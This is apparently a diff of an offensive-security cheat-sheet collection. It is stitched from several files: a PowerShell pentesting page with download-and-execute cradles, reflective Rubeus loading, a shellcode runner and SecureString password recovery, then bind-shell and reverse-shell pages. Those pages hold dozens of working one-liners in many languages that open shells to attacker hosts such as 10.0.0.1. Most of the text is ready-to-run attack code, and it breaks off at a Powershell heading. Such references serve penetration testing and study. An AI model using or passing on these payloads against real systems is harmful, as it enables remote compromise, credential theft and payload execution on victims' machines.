Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```
## Load Powershell scripts
```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```
## Load C# assembly reflectively
```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
## Call Win API using delegate functions with Reflection
### Resolve address functions
To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses.
To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.
```powershell
# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods
$Assemblies |
ForEach-Object {
$_.GetTypes()|
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Contains('Unsafe')
}
} 2> $nul l
```
We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods`
TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll`
If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`.
```powershell
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
})
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
```
To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it.
`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')`
Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:
- The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
- The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
`$GetModuleHandle.Invoke($null, @("user32.dll"))`
However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`.
Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
```
If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
```
We need to take the first one, because the arguments type of the second one does not match with ours.
Alternatively we can use `GetMethod` function to precise the argument types that we want.
```powershell
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
[reflection.bindingflags]'Public,Static',
$null,
[System.Reflection.CallingConventions]::Any,
@([System.IntPtr], [string]),
$null);
```
cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0)
Now we have everything to resolve any function address we want.
```powershell
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))
```
If we put everything in a function:
```powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
```
### DelegateType Reflection
To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.
The first step is to create a new assembly with the class `AssemblyName` and assign it a name.
```powershell
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
```
Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used.
```powershell
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
```
Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule`
The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.
```powershell
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
```
The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`.
The arguments are:
- a custom name
- the attributes of the type
- the type it build on top of
```powershell
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
```
Then we will need to set the prototype of our function.
First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments:
- the attributes of the constructor
- calling convention
- the parameter types of the constructor that will become the function prototype
```powershell
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
@([IntPtr], [String], [String], [int]))
```
Then we need to set some implementation flags with the method `SetImplementationFlags`.
```powershell
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
```
To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that.
The method takes four arguments:
- name of the method defined
- method attributes
- return type
- array of argument types
```powershell
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
'Public, HideBySig, NewSlot, Virtual',
[int],
@([IntPtr], [String], [String], [int]))
```
If we put everything in a function:
```powershell
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
```
### Example with a simple shellcode runner
```powershell
# Create a Delegate function to be able to call the function that we have the address
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Allow to retrieve function address from a dll
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
# Simple Shellcode runner using delegation
$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject"
$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...
$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)
```
## Secure String to Plaintext
```ps1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
## References
- [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
- [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)

View File

@@ -0,0 +1,101 @@
# Bind Shell
## Summary
* [Bind Shell](#bind-shell)
* [Perl](#perl)
* [Python](#python)
* [PHP](#php)
* [Ruby](#ruby)
* [Netcat Traditional](#netcat-traditional)
* [Netcat OpenBsd](#netcat-openbsd)
* [Ncat](#ncat)
* [Socat](#socat)
* [Powershell](#powershell)
## Perl
```perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
```
## Python
Single line :
```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```
Expanded version :
```python
import socket as s,subprocess as sp;
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();
while True:
d = c.recv(1024).decode();
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())
```
## PHP
```php
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
socket_write($cl,$m,strlen($m));}}'
```
## Ruby
```ruby
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
```
## Netcat Traditional
```powershell
nc -nlvp 51337 -e /bin/bash
```
## Netcat OpenBsd
```powershell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
```
## Ncat
```powershell
ncat -nlvp 51337 -e /bin/bash
```
## Socat
```powershell
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```
## Powershell
```powershell
https://github.com/besimorhino/powercat
# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep
# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002
```

View File

@@ -0,0 +1,669 @@
# Reverse Shell Cheat Sheet
## Summary
* [Tools](#tools)
* [Reverse Shell](#reverse-shell)
* [Awk](#awk)
* [Bash TCP](#bash-tcp)
* [Bash UDP](#bash-udp)
* [C](#c)
* [Dart](#dart)
* [Golang](#golang)
* [Groovy Alternative 1](#groovy-alternative-1)
* [Groovy](#groovy)
* [Java Alternative 1](#java-alternative-1)
* [Java Alternative 2](#java-alternative-2)
* [Java](#java)
* [Lua](#lua)
* [Ncat](#ncat)
* [Netcat OpenBsd](#netcat-openbsd)
* [Netcat BusyBox](#netcat-busybox)
* [Netcat Traditional](#netcat-traditional)
* [NodeJS](#nodejs)
* [OGNL](#ognl)
* [OpenSSL](#openssl)
* [Perl](#perl)
* [PHP](#php)
* [Powershell](#powershell)
* [Python](#python)
* [Ruby](#ruby)
* [Rust](#rust)
* [Socat](#socat)
* [Telnet](#telnet)
* [War](#war)
* [Meterpreter Shell](#meterpreter-shell)
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp)
* [Linux Staged reverse TCP](#linux-staged-reverse-tcp)
* [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp)
* [Other platforms](#other-platforms)
* [Spawn TTY Shell](#spawn-tty-shell)
* [References](#references)
## Tools
* [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) ![image](https://user-images.githubusercontent.com/44453666/115149832-d6a75980-a033-11eb-9c50-56d4ea8ca57c.png)
* [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
## Reverse Shell
### Bash TCP
```bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
```
### Bash UDP
```bash
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
```
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
### Socat
```powershell
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```
```powershell
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
### Perl
```perl
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
### Python
Linux only
IPv4
```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces, Shortened)
```python
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv4 (No Spaces, Shortened Further)
```python
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv6
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces, Shortened)
```python
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
Windows only (Python2)
```powershell
python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
Windows only (Python3)
```powershell
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
```
### PHP
```bash
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```
```bash
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```
### Ruby
```ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
### Rust
```rust
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
```
### Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
### Netcat Traditional
```bash
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
```
### Netcat OpenBsd
```bash
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Netcat BusyBox
```bash
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Ncat
```bash
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
```
### OpenSSL
Attacker:
```powershell
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```
TLS-PSK (does not rely on PKI or self-signed certificates)
```bash
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
```
### Powershell
```powershell
